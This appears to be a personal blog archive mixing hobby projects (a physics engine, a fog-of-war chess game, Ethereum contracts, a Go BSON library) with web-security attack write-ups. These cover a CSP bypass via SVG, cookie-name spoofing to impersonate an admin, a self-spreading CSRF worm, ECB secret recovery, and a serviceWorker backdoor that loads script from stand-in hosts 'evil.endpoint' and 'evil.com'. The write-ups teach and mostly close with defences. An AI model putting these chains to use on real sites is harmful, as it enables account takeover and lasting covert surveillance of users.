CEngine: Building a Personal Physics Engine (Part 1)

Building a physics engine

I’ve been thinking about going back to school for physics. Not as a career or anything, just as a hobby. If I’m going to spend my free time doing something, learning more about who we are, where we came from, and the universe we live in, seems like a sensible thing to spend time on.

And I learn best by doing! So here I am. And it’s just fun.

I don’t know where this will go, but as long as I’m having fun I’ll keep this going.


Jan-28-2020 14-57-58.gif

Figure 1: Terminal based physics simulation

What is it?

So far it’s a super bare-bones “physics” engine. It’s actually 3d, but I’m not rendering the depth, so it’s just a 2d slice (z=0).

Right now it supports AABB (axis aligned bounding boxes) (a fancy way of saying a box that can’t rotate). And spheres (point particles). The only force it knows about is gravity, and the conservation of momentum.

Where do I want to go?

Short term I’m reading Game Physics Engine Development (by Ian Millington) and watching Math for Game Developers (by Jorge Rodriguez) both have been immensely useful. I did not realize that rotations in 3d would be so complex! Never heard of a quaternion before reading/watching these resources.

Long term I want to continue programming different things I learn as I continue physics just to make sure I really understand it. I’m excited to eventually move into quantum/relativity. But first I want to make sure the basics.

I also had a couple of ideas for little games:

  • A particle collider game similar to the game “Kerbel Space Program” where you build ever-increasing particle colliders to discover components of the standard model. I’d need to learn a lot more about the history of particle colliders to do this.
  • I never liked Physics Lab in school. I think it would be cool to move Physics Labs to VR. It be cool to “see” the electromagnetic fields as you interact with coils and such

Anyways, thanks for reading. Toodles!

DarkChess (Chess with Fog of War)

https://playdarkchess.com / https://github.com/c0nrad/darkchess

I joined a new team at work, and figured it’d be fun to build something that uses their tech stack (java jersey/react), and thus DarkChess was born.

Why DarkChess?

I love Chess, I used to play on the chess team in high school and I was president of the Chess club back in college. It’s a fun game, but it’s a perfect information game meaning everyone has the exact same amount of information. Which is good, but it’d be fun if part of the game was to learn information.

And that’s what DarkChess is. In Darkchess you can only “see” pieces if they are in your capture zone.

Screen Shot 2019-03-16 at 11.42.46 AM.png

This brings a fun element to the game where you have to use pieces to scout where the enemy is located. It also allows you to be sneaky with assassinations, and leverage high visibility pieces and open lanes much more.

I built a little story mode with a series of challenges, give it a try:


Tech Stack

I haven’t built a Java app in awhile, but it was fun to build one from scratch (using vscode too, no eclipse magic).

My personal opinions on the matter:


  • Maven was a real life saver for managing dependencies and the build chain
  • JUnit was simple enough for testing, I would of liked to learn more about cucumber, maybe next project
    • No surprise, but the chess engine I built had some interesting gotchas that were thankfully caught by unit tests
  • Morphia for MongoDB was interesting, (not sure if I’m using it correctly) GameDatastore.java
    • Unfortunately there was some issues with serializing a 2-dimension array. Had to write some pre-post serialization code that was a tiny bit frustrating
  • Jersey is very cool. I love using decorators for tagging function routes. Keeping the route/method/function in one spot is very nifty instead of having to declare the route<->function binding in a routes.js or something similar.


  • The react documentation is amazing! https://reactjs.org/docs/hello-world.html
    • It’s so simple, and a fun read. After reading the 12 different steps I felt like I knew react decently well (I have a background in angularjs)
  • react-router-v4 was very confusing and frustrating for me (specially with typescript). Not being able to say “go to this state” everywhere unless it was specifically defined within the <HashRouter>. I def missed angular’s dependency injection and $state.
    • But again, I was probably just using it wrong
  • ‘create-react-app’ was pretty nify for building production ready minimized builds. no more messing around with gulp files or googles minimizer.


  • I went full into AWS for my CI/CD pipeline
    • AWS CodeCommit – Git remote, kicks off the pipeline
    • AWS CodeBuild – builds and tests the code (buildspec.yml), published artifacts to s3
    • AWS CodeDeploy – deploys to my ec2 instances (appspec.yml), restarts the darkchess service and some housekeeping
  • Dependencies suck, so I build fat jars (maven shader), which means they just include the dependencies.
  • DNS entry through route53 to an ALIAS ALB infront of the ec2’s. (stateless thanks to MongoDB, so easy to scale).
  • Logs are sent to Cloudwatch using the aws cloudlog agent. It was a little weird to setup, but it works
  • The service is run in an init.d/ script with nohup
    • I’ve had 0 outages so far! (knock on wood)


Overall it was a very fun project. Learned a lot about fully setting up a java project.

Questions/comments/conseling/concerns? Always feel free to reach out ūüôā c0nrad@c0nrad.io


This is really just a¬†security misconfiguration. But if you’re using CSP (Content-Security-Policy), it’s something to keep in mind.

The tl;dr is make sure object-src is ‘none’ if you’re not using it.

Using this “attack” you can reflect SVGs to get execution even in a CSP controlled environment. This is just another recipe to add to your books for bypassing CSP (insecure directives, JSONP, base offset, encoding).

I feel like this website is becoming a cookbook. As long as you have all the ingredients, you can make some tasty ‘sploits.


  • Website with File/Image Upload (accepting SVG), pretty much any website that allows profile pictures
  • Website with CSP default-src ‘self’ and/or object-src ‘self’
  • An XSS injection,¬†we still need an XSS to start the chain.


1.) Using the image upload, upload an SVG with a payload like:

Screen Shot 2016-08-30 at 12.21.01 PM.png

2.) Using your injection, inject the following code:

Screen Shot 2016-08-30 at 12.19.58 PM.png

3.) Profit. That wasn’t too hard?

It’s also really neat¬†that the script-src can be ‘none’.


It’s pretty similar to the JSONP trick to bypass CSP, we just have another vector for content reflection.

Also it’s kind of neat how we’re getting to the point of needing to chain bugs on the web. It reminds me of people trying¬†to find info leaks to bypass ASLR so you can get your initial bug to work.


Make sure that your CSP policy sets object-src to ‘none’ if you’re not using it.

Cookie Shadow Path Injection

Did you know multiple cookies can have the same name on a domain? Yep, cookies aren’t unique on the name, they are “unique” on the tuple of (Name,Domain,Path).

So you could have a session cookie for example.com/secret, and a different one for example.com/ with the same name. Why would you want to do that? ¬Į\_(„ÉĄ)_/¬Į

But what sorts of attacks can we do with that?


Lets say we built a Single Sign On (SSO) solution for our enterprise. We know the pesky developers are going to want to create insecure apps for other employees to use. So we provide some facilities to make authentication of users easier by using the same corporate cookies everywhere.

We allow developers to host application on *.corp.example.com, but all traffic gets funneled through a bastille host that checks to make sure the user is logged into the corporate network first. Once a user logs in we assign a cookie corporate-username, and proxy the request to the right application.

The application can then check the cookie corporate-username to see who is accessing their site.

But, we know that cookies can be easily spoofed, so we add an extra protection and tie the corporate-username cookie to a corporate-token cookie. When a user logs in, we also generate a uuidv4 and store it in a database. So when the user tries to connect to an application, the request is proxy through the bastille host and a lookup is performed to make sure the corporate-token and corporate-username match up.

shadowcookiepath (1).png

The developer applications can now trust that corporate-username is the correct username.

The Attack

This attack involves a little bit of luck on how the web servers handle cookies. It worked for me once, so hopefully it’ll work for you too. But basically we’re going to bait and switch cookies.

What if we sent two corporate-username cookies? How do servers handle multiple cookies with the same name?

Different servers handle it differently.

But if we’re lucky, the application we’re trying to attack and the bastille host do it differently from each other.

Lets say the bastille host uses the first instance of corporate-username and the corporate-token, and the application uses the last instance of the same cookie name.

We log into the bastille server, generate a valid cookie/token pair, but then add an extra cookie to our attack payload:

POST /entry/create
Host: blog.corp.example.com
Cookie: corporate-username=c0nrad corporate-username=admin corporate-token=c0nrads-token

{data: ‘I admin certify that c0nrad is the coolest’}

The bastille will see a valid username/token pair (c0nrad/c0nrads-token), so the request is forwarded, but the application on the other side accepts the second corporate-username (admin). We can now perform actions as anyone in the company!

shadow_cookie_2 (1).png

If the bastille server uses the last cookie, just switch the order of the cookies and pray the application uses the latter cookie.


Basically this bug is HTTP parameter pollution but for cookies.

But, we were able to abuse the fact that you can have multiple cookies with the same name to bypass a SSO solution and perform actions as anyone in our imaginary company.

Just another tool for the toolkit.

CSRF Worms

I’ve been wondering if it’d be possible to make CSRF worms. Usually we propagate¬†worms using XSS, but with modern frameworks and CSP it’s getting a little harder to find good injections.

But¬†I’ve sort of pieced¬†together a fun attack.¬†Basically we’ll create a worm that has a bunch of layers that have to be peeled away. Each time it spreads it gets smaller and smaller, and the actual “exploit” lives at the very end.

The Setup

For example lets say Twitter was using CSP (which they are), and SameSite cookies and introduced a CSRF that when viewed, added a chosen user as a follower:

GET https://twitter.com/addFollower?user=xc0nradx

  • Adds the user as a follower.

You could try pasting that URL in an image tag all over the place and try to get as many twitter users as possible to view it.

But we can do better. Lets say twitter also introduced another CSRF-able route:

GET https://twitter.com/updateProfilePicture?url= https://gravitar.com/c0nrad@c0nrad.io

  • Sets the profile picture to the url parameter. This image is then displayed on the profile as¬†an image tag.

The Exploit

We can use the updateProfilePicture route to place the addFollower payload and get a bunch of followers. But the people who see it are already our followers. Instead we want the worm to propagate by itself.

The updateProfilePicture route can be used to spread the worm. We can embed the addFollower payload in a couple of ‘setProfilePicture¬†layers’, so when our followers see our profile picture, their profile picture becomes a smaller version of the worm.¬†

So we could ‘link’ a bunch of CSRFs together to make something like:



So the first time someone see’s this in an image tag, the CSRF will be executed, and their profile image will be the same URL except one ‘link’ smaller.

Anyone who then see’s this profile picture will then copy the URL and become one link smaller.


After the worm has spread for awhile the very last link in the chain will become the profile picture. So now anytime someone views the profile/feed of that user they will follow xc0nradx.

CSRF_Exploit (1).png

Hopefully by this time the worm has spread to a bunch of users. Now all of our friends and their friends and their friends are helping us get followers. Thanks friends!


The only benefit this worm really gives is a better launching point for your original addFollower.

But it doesn’t abuse HTML at all! It should work fine with CSP and XSS encoding frameworks? You might have to be careful about URL encoding and parsing.

Also the chains will probably unlink really fast. Anytime you view yourself you’ll unlink another chain yourself.

And you don’t need to include the https://twitter.com in each stage. Just use the relative URL, but it’s easier to read with the full hostname. The max length of a URL is ~2000.


We created a worm-able CSRF exploit that carried our original CSRF exploit to a bigger userbase. Fun stuff. Feel free to email/comment if you have any more ideas.

ECB Byte at a Time

ECB Byte at a Time is a fun crypto attack that doesn’t require any math knowledge. Just an understanding of the systems work and how they interact.

Lets imagine you had some session cookie or token that was constructed like:


It’s possible to determine SECRET with only control of INPUT! You won’t be able to determine key though. The value of SECRET depends on the target, but SECRETS are usually secret for a reason.

The actual encryption algorithm doesn’t matter either (in this case AES), as long it’s block based and uses ECB.


Electronic Code Book (ECB) is a mode for block based encryption. Block based encryption algorithms can only take input of a specific size (such as 16 bytes) and output to another specific size.

So if:

  • Your input is < 16 bytes, you have to pad to 16 bytes.
  • If you input is 16 bytes, perfect! proceed¬†to encryption
  • If you input is >16 bytes, you need use the encryption algorithm a couple of times on all the 16 byte blocks.

The mode is how you tie those multiple 16 byte blocks together.

ECB mode is the simplest of the modes, you just take your input that is over 16 bytes and chop it into 16 byte blocks and encrypt each block separately.

For example if we had aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab.


Notice how the first two blocks have the same output because they have the same input (‘a’ * 16).

So if we have two 16 byte blocks with the same input, we’ll get the same output. This is the info leak we’ll be abusing.

The Attack Setup

So how can we use this knowledge to help us?

Lets say we found a website that was generating session cookies based on:


And we have the ability to change USERNAME (as long as it’s not already being used) and get the resulting ciphertext. Our goal is to create a valid token for the pre-existing ‘admin’ user.

ECB Byte At a Time

Lets say we crafted a username with 15 ‘a’s.ecb_1 (1).png

The 16 byte block consist of 15 ‘a’s, and one unknown character from the SECRET.

Now that we know the result of that block, we can iterate through all possible 16 byte blocks starting with 15 ‘a’s. When we find the block that has the same output, we know what the input to that block must have been.


Since the block with the ‘c’ and the unknown secret are equal, we know the first character is ‘c’!

Now we repeat this process with 14 ‘a’s, the ‘c’ from SECRET and the next unknown character. We set our username to¬†aaaaaaaaaaaaa.

ecb_3 (1).png

And then we iterate through all possible blocks that start with aaaaaaaaaaaaaac.

ecb_4 (1).png

Since the block with ‘0’ and the unknown character are equal, we know the next character must be zero. So the secret starts with ‘c0’.

Repeat this process till the entire secret is decoded. In this case the secret was c0nrad.

To generate an admin session, simply set your username to ‘admin’+ ‘c0nrad’ + 5pad. And copy the first block as your session secret.


Using ECB at a time we were able to determine the appended secret.

If you want to write your own solver, here’s a demo server you can exploit.¬†code. An example solution can be found¬†here.



Edit: Correction by¬†reddit/u/oottppxx, mistakenly¬†inserted the ‘c’ manually on letter 2. Use ‘c’ from SECRET.

Playing With Ethereum

I’ve been skirting around Ethereum for awhile. Now and then I see a post about it in hacker news, or people circle jerking over the DAO. But it is pretty confusing. I decided to dive in yesterday and see what you can do with Ethereum. Smart contracts are only starting to make sense now that I’ve been playing with them.

This was my favorite intro article:

This is the online IDE I used:

And I used the Wallet from the main website:


So if I understand it correctly. A bunch of people (miners) setup Ethereum nodes which are just computational machines running all over the world.

Normal people can then issue jobs to these machines and the world can see the results. It cost money (Ether/Gas) to run these jobs.

In my limited understanding there’s three different jobs.

  1. send money (Ether) to someone else, like bitcoin
  2. create smart contracts. These are bundles of codes that are “public” to everyone that can later be interacted with publicly
  3. interact with smart contracts (hey smart contract XXXX, go send 5 eth to this other contract)


To perform any actions, you need Ether. Which was a pain to get. I used coinbase to get some bitcoins, and then used the Shifty widget built into the Ethereum wallet. Probably not the most cost efficient way.


This doc has some real contracts to help get you started. http://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#a-simple-smart-contract

If you don’t want to read the docs, here’s two simple contracts I created that do nothing important:

contract Stack {

// push(x): add an item on the top
// pop: remove the item at the top
// peek: return the item at the top (without removing it)
// size: return the number of items in the stack
// isEmpty: return whether the stack has no items

  string[] public stack;
  uint  _size;
  address public owner;

  function Stack(uint swag) {
    owner = msg.sender;
    _size = 0;

  function push(string key) public {
    _size += 1;

  function pop() returns (string) {
    string val = stack[_size-1];
    delete stack[_size-1];
    _size -= 1;
    return val;

  function peek() constant returns (string value) {
    return stack[_size-1];

  function size() constant returns (uint) {
      return _size;

  function isEmpty() constant returns (bool) {
      return (_size == 0);

  function die() public {
      if (msg.sender == owner) {

This is simply a stack data structure. Once you send it off to the blockchain, anyone can interact with the contract. My crappy code now exist all over the world!

This is what it looks like to deploy code to the blockchain:


And now I (and others) can call methods on this Stack implementation I just created. Here’s me calling “pop()” on the stack:


And this is all public. Everyone can now inspect the block chain and see that I called pop.

Interacting With Other Contracts

Contracts can also interact with each other. Here’s a simple “guestbook” that takes the address of the previous stack implementation, and allows people to push messages.

I added an admin function to remove the most previous entry off the stack (even though anyone can call the stack directly and call pop(), but you get the idea). You also need to include the code from the other contract so Solidity (the Ethereum programming language), knows how to interact with the remote address.

contract Stack{function Stack(uint256 swag);function die();function push(string key);function peek()constant returns(string value);function isEmpty()constant returns(bool );function owner()constant returns(address );function size()constant returns(uint256 );function pop()returns(string );function stack(uint256 )constant returns(string );}

contract Guestbook {
  address public ownerAddr;
  address public stackAddr;

  function Guestbook(address _stack) {
    ownerAddr = msg.sender;
    stackAddr = _stack;

  function signGuestBook(string message) {
    Stack s = Stack(stackAddr);

  function removeRecentEntry() {
    if (msg.sender == ownerAddr) {
      Stack s = Stack(stackAddr);

  function die() public {
    if (msg.sender == ownerAddr) {
//Previous Stack Contract:
// 0x700de3d287A6857D1653A0A804b838e131AB41E7

After we deploy this code we can call “Sign Guest Book” with the value of “Hawllo Wourld”:

Screen Shot 2016-06-22 at 8.25.21 PM.png

contract Stack{function Stack(uint256 swag);function die();function push(string key);function peek()constant returns(string value);function isEmpty()constant returns(bool );function owner()constant returns(address );function size()constant returns(uint256 );function pop()returns(string );function stack(uint256 )constant returns(string );}
contract Guestbook {
address public ownerAddr;
address public stackAddr;
function Guestbook(address _stack) {
ownerAddr = msg.sender;
stackAddr = _stack;
function signGuestBook(string message) {
Stack s = Stack(stackAddr);
function removeRecentEntry() {
if (msg.sender == ownerAddr) {
Stack s = Stack(stackAddr);
function die() public {
if (msg.sender == ownerAddr) {
// Stack address 0x700de3d287A6857D1653A0A804b838e131AB41E7

view raw


hosted with ❤ by GitHub

And then once this executes, we can go back to our stack contract, and see that it’s been updated!

Screen Shot 2016-06-22 at 8.25.56 PM.png



The real uses of Ethereum actually do something useful, like provable odds in gambling, fair voting, kick starters with refunds.

Do I think Ethereum has a future?¬†¬Į\_(„ÉĄ)_/¬Į #yolo

BSON and Golang Interfaces

This weekend I decided to implement BSON.


BSON is just a binary representation of JSON with some extra types and traversal speed improvements.

Traversal speed is important for rapidly scanning a group of BSON objects (called Documents) for specific pieces of information.

Lets¬†imagine you had a list of JSON like the following, and you were searching for the information under the key value “secret”.

{ “aaaaaaaaaaaaaa…..aaaaaaaaaaaa”: “world”, “secret”: “IMPORTANT INFO” } { ‘aaaaaa’: 123, “secret”: “more important info”}

A¬†scanner has¬†to linearly read each character one at a time since it doesn’t know when the ‘a’s end. If that list of ‘a’ was 10 megabytes long, we’re going to waste a second or two every time we want to read the value of ‘secret’.

BSON makes this simpler by pre-pending string lengths so if you can jump throughout the Document for much quicker scanning. BSON leaves little clues about the contents of each element so you can jump around without having to scan the entire contents.


BSON is binary JSON with some extra types. The top level object in BSON is a Document. A document is a collection elements. Each element contains three things:

  • The Type Identifier (byte)
  • Element Name (string)
  • Contents (string,date,int,subdocument)

And that’s it!


Normally when I implement something like this, I jump write into implementing the Marshal/Unmarshal code (serialize/deserialize).

This time I decided to take a different approach and instead focus on the types.

I started with the base types, and how they should be represented in BSON.

So types like int32, int64, double, cstring, string.

type Double float64
type Int32 int32
type Int64 int64
type CString string
type String string

And for each newly defined type, I made sure they implemented the BSON interface I created:

type BSON interface {
   ToBSON() []byte
   ToString() string

Once I had all the base types complete, I started implementing the core of BSON, the elements. I also wanted all the elements to implement the BSON interface. This was super simple thanks to the fact that all of the children types were already implementing the BSON interface:

type Element struct {
   Identifier byte
   EName CString
   Data BSON

func (e Element) ToBSON() []byte {
   out := []byte{}
   out = append(out, e.Identifier)
   out = append(out, e.EName.ToBSON()...)
   out = append(out, e.Data.ToBSON()...)
   return out

func (e Element) ToString() string {
    return e.EName.ToString() + ": " + e.Data.ToString()

After that, all I had left to do was define the types that used the Elements, and make sure they also implemented the BSON interface, which was simple since all their children already knew how to represent themselves too.

type Document ElementList
type ElementList []Element

And I was done!

So now I can create new Documents, and just call ToBSON(), and the document asks all it’s children to represent themselves in BSON, which ask their children to represent themselves in BSON.

Closing Remarks

What I really like about this implementation is that now I can use this library (probably for a fuzzer), and have it generate BSON for any type in the entire stack. Every type corresponds to BSON making the library much simpler than only operating on documents.

You can check out the implementation here:


Intro to SameSite Cookies (CSRF Protection)

A pretty common web attack involves hijacking a user’s session to get them to perform actions on your behalf.

An example attack:

Lets say Bob signs into his bank account at bank.com

Untitled drawing (2).png

From now on, whenever Bob interacts with bank.com the browser will send his cookies so that bank.com knows that the request was made by Bob.

Lets say Eve knows that he is logged into bank.com and sends him a message like:

Hey Bob,

Check out this sweet cat picture:

<img src=”https://bank.com/transfer.php?amount=10000&from=bob&t0=eve”&gt;

Sincerely :),


When Bob loads this message, his¬†browser will make a web request to load the image. ¬†The session cookies will be sent. But¬†it’s not actually in image (the browser doesn’t know this), it’s a bank transfer. A bank transfer will be performed and Bob just lost all his money.

Normally you’d protect against this using csrf tokens, and use a http POST for this state changing request. See here for more information.

SameSite Cookie Flag

A new protection was recently introduced into Chrome that allows servers to instruct clients on when to send session cookies.

The problem in the bank.com CSRF attack is tricky. The browser did the right thing by trying to load the image, and it did the right thing by sending the cookies to bank.com (bank.com told the browser to always send the cookies). But the bank still failed bob. Confused deputy.

SameSite cookie flag is a way for bank.com to protect their users against this attack. When Eve sent bob the message that had the embedded image, did cookies really need to be sent to load an image? Probably not.

Using SameSite, websites can tell clients to only send cookies if the request originated from the same site.

Once you’re on bank.com it makes sense to initiate transfers. But it doesn’t make sense to initiate transfers from gmail.com or any other website. So in the previous attack example, since the transfer didn’t originate on bank.com, Bob will probably see a login page instead of a transaction receipt.

Using SameSite Cookie Flag

To set cookie, simply add the SameSite flag to the cookie like:

Set-Cookie: Session=6fa459ea-ee8a-3ca4-894e-db77e160355e; SameSite=Strict

You can specify how strict you want the SameSite restrictions to be. I’d recommend just using Strict and playing with the website for a bit, specially if you’re using a SPA.

The three options are None, Lax, and Strict. None is what a normal cookie uses. The different between Lax and Strict is mainly whether or not full page loads (like clicking on a link to bank.com) will send the cookies. Lax will send the cookies.

To read more, checkout the RFC draft. Or google it.

Some Thoughts


XSS persistence using JSONP and serviceWorkers

One of my favorite exploits¬†in the world is this web attack that allows you to maintain access to a website within a users browser¬†indefinitely. Even if they close the browser and come back without a session you’ll still be hooked. It works by combining an unfiltered JSONP route, serviceWorkers, and an XSS to create a persistent¬†backdoor on¬†a website.

Intro to serviceWorkers

serviceWorkers are a relatively new web technology that allow you to intercept web requests. Their original intention was to create a technology that’d allow websites to work offline. serviceWorkers can¬†be used to intercept web requests and return a cached version, making your website usable even with no internet connection.

A great introduction to serviceWorkers can be found here.

But essentially you write a script that’ll intercept web requests using the onfetch handler, and check to see if you have the content. If you¬†have the content¬†you return it, if you don’t you attempt to make a web request, and cache the response.

Untitled drawing (1).png

Using ServiceWorkers for evil

serviceWorkers also give you the ability to return arbitrary content.

For example:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("
<h1> Intercepted!</h1>

So putting our evil hats on. What if you were to fetch a resource, and then return a modified version of the content?


<script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing



You could inject your own scripts at the end of each request indefinitely, and the user would have no idea. All other resources get passed through the caching layer unnoticed.

JSONP Endpoint

There’s a catch with serviceWorkers though. They can only be installed from a resource¬†on the same domain.

Meaning to install a serviceWorker on c0nrad.io, we’d need to register the serviceWorker like:


But unfiltered JSONP endpoints come to the rescue! JSONP stands for JSON with padding. But basically a JSONP takes a query parameter and wraps the javascript data in the function.

/jsonp?callback=myAwesomeFunction returns:

var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`

This is either useful for bypassing SOP (you can download javascript from a remote domain, but not JSON) or just developer convenience.

But if the JSONP is unfiltered, you can return arbitrary javascript.

Instead ask for:

<script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">

Then if you register the service worker using this JSONP endpoint, the serviceWorker factory is happy.

Full Attack Walkthrough

1.) Create the final payload (stealing emails, monitoring bank accounts etc)

2.) Bootstrap the payload using the JSONP

3.) Inject the payload using an XSS onto a victim

4.) Enjoy your long lived persistence

Use Cases

I’d mainly use this to maintain persistence and scrape information. The best targets would be email/social media/private forms. You’d have execution and can see anything a user can do.

You could apply it to banks, but, if you already have an XSS, you don’t really need this attack. This is just for persistence.


1.) Filter you JSONP endpoints. They should only allow alphanumeric and maybe periods and dashes.

2.) No XSS. Easier than it sounds, but make sure you’re following your frameworks. Input filtering, output encoding. Content-Security-Policy is also awesome, but if you have an open JSONP endpoint it’s not going to do too much good.